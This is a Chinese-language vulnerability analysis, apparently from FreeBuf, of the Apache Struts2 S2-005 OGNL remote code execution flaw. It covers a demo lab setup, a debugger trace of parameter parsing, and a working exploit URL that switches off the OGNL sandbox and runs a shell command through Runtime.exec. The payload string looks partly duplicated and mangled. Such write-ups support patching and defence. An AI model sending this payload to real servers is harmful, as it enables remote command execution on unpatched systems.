當前位置:
首頁 > 新聞 > Struts2-005遠程代碼執行漏洞分析

Struts2-005遠程代碼執行漏洞分析


一、漏洞信息



官方鏈接:https://cwiki.apache.org/confluence/display/WW/S2-005


官方概述:XWork ParameterInterceptors bypass allows remote command execution


影響版本:Struts 2.0.0 - Struts 2.1.8.1

修復摘要:Developers should immediately upgrade to Struts 2.2.1 or read the following solution instructions carefully for a configuration change to mitigate the vulnerability


二、漏洞原理


S2-005和S2-003的原理是類似的,因為官方在修補S2-003不全面,導致用戶可以繞過官方的安全配置(禁止靜態方法調用和類方法執行),再次造成的漏洞,可以說是升級版的S2-005是升級版的S2-003。


三、環境搭建


下載 Struts2.0.11.2

:http://archive.apache.org/dist/struts/binaries/struts-2.1.8.1-all.zip


目錄結構


引用的包



commons-fileupload-1.2.1.jar


commons-logging-1.0.4.jar


freemarker-2.3.15.jar


ognl-2.7.3.jar


struts2-core-2.1.8.1.jar


xwork-2.0.5.jar


index.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
   pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-005</title>
</head>
<body>
<h2>S2-005 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-005">https://cwiki.apache.org/confluence/display/WW/S2-005</a></p>
<s:form action="login">
   <s:textfield name="username" label="username" />
   <s:textfield name="password" label="password" />
   <s:submit></s:submit>
</s:form>
</body>
</html>

welcome.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
   pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-005</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>

struts.xml

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
   "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
   "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
   <package name="S2-005" extends="struts-default">
       <action name="login" class="com.demo.action.LoginAction">
           <result name="success">welcome.jsp</result>
           <result name="error">index.jsp</result>
       </action>
   </package>
</struts>

com.demo.action.LoginAction.java

package com.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
   private String username = null;
   private String password = null;

   public String getUsername() {
       return this.username;
   }

   public String getPassword() {
       return this.password;
   }

   public void setUsername(String username) {
       this.username = username;
   }

   public void setPassword(String password) {
       this.password = password;
   }

   public String execute() throws Exception {
       if ((this.username.isEmpty()) || (this.password.isEmpty())) {
           return "error";
       }
       if ((this.username.equalsIgnoreCase("admin"))
               && (this.password.equals("admin"))) {
           return "success";
       }
       return "error";
   }
}

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">

   <display-name>S2-005 Example</display-name>

   <filter>
       <filter-name>struts2</filter-name>
       <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
   </filter>

   <filter-mapping>
       <filter-name>struts2</filter-name>
       <url-pattern>/*</url-pattern>
   </filter-mapping>

   <welcome-file-list>
       <welcome-file>index.jsp</welcome-file>
   </welcome-file-list>

</web-app>

四、漏洞分析


首先我們來看看官方是如何修補的S2-003呢?它是新出了一個沙盒機制,默認禁止了靜態方法的調用(allowStaticMethodAccesMethodAccessor.denyMethodExecution

所以我們可以利用OGNL先把沙盒關閉掉,就又可以執行命令了。



xwork.MethodAccessor.denyMethodExecution設置為falseallowStaticMethodAccess設置為true


這樣就可以關閉掉沙盒機制,unicode編碼仍然還是可以的,u0023會被解析成#,POC還是原來的POC,只不過加上了上面的兩個設置,接下來我們可以看看具體漏洞分析的過程


這裡還是在Tomcat6環境下進行分析。


和S2-003大體相同,在xwork-core-2.1.16.jar!com/opensymphony/xwork2/interceptor/ParametersInterceptor中斷點調試



跟進setParameters,會進入到xwork-core-2.1.16.jar!com/opensymphony/xwork2/ognl/OgnlValueStack,可以看出在Ognl中,值棧(ValueStack)的實現類是OgnlValueStack



發現在裡面封裝了一個setValue類,跟入ognlUtil.setValue,會進入到xwork-core-2.1.16.jar!com/opensymphony/xwork2/ognl/OgnlUtil中,這裡又封裝了一遍setValue類,最終調用了Ognl中的setValue方法


可以看到其中的compile方法,會將傳來的字元串進行解析,而name值就是我們傳遞過來的參數值,跟進compile方法



跟進parseExpression,這裡從topLevelExpression開始對語法書進行解析,進入到ognl-2.7.3.jar!ognl/OgnlParser中的expression()進行解析,可以看到,最後將結果保存到值棧中,u0023被解析成#



然後將解析的結果return回去



五、漏洞利用



http://localhost:1111/login.action?(『u0023context[』xwork.MethodAccessor.denyMethodExecution』]u003dfalse』)(bla)(bla)&(『u0023_memberAccess.allowStaticMethodAccessu003dtrue』)(bla)(bla)&(『u0023_memberAccess.excludePropertiesu003d@java.util.Collections@EMPTY_SET』)(kxlzx)(kxlzx)&(『u0023mycmdu003d』ifconfig』』)(bla)(bla)&(『u0023myretu003d@java.lang.Runtime@getRuntime().exec(u0023mycmd)』)(bla)(bla)&(A)((『u0023mydatu003dnew40java.io.DataInputStream(u0023myret.getInputStream())』)(bla))&(B)((『u0023myresu003dnew40byte[51020]』)(bla))&(C)((『u0023mydat.readFully(u0023myres)』)(bla))&(D)((『u0023mystru003dnew40java.lang.String(u0023myres)』)(bla))&(『u0023myoutu003d@org.apache.struts2.ServletActionContext@getResponse()』)(bla)(bla)&(E)((『u0023myout.getWriter().println(u0023mystr)』)(bla(bla)(bla)&(『%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue』)(bla)(bla)&(『%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET』)(kxlzx)(kxlzx)&(『%5Cu0023mycmd%5Cu003d%5C』ifconfig%5C』』)(bla)(bla)&(『%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime().exec(%5Cu0023mycmd)』)(bla)(bla)&(A)((『%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream(%5Cu0023myret.getInputStream())』)(bla))&(B)((『%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D』)(bla))&(C)((『%5Cu0023mydat.readFully(%5Cu0023myres)』)(bla))&(D)((『%5Cu0023mystr%5Cu003dnew%5C40java.lang.String(%5Cu0023myres)』)(bla))&(『%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse()』)(bla)(bla)&(E)((『%5Cu0023myout.getWriter().println(%5Cu0023mystr)』)(bla)))


參考鏈接



https://cwiki.apache.org/confluence/display/WW/S2-005


https://blog.csdn.net/u011721501/article/details/41626959


https://xz.aliyun.com/t/2323


*本文原創作者:水清雲影,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

Oculus CDN伺服器的XSS漏洞
無需 sendmail:巧用 LD_PRELOAD 突破 disable_functions

TAG:FreeBuf |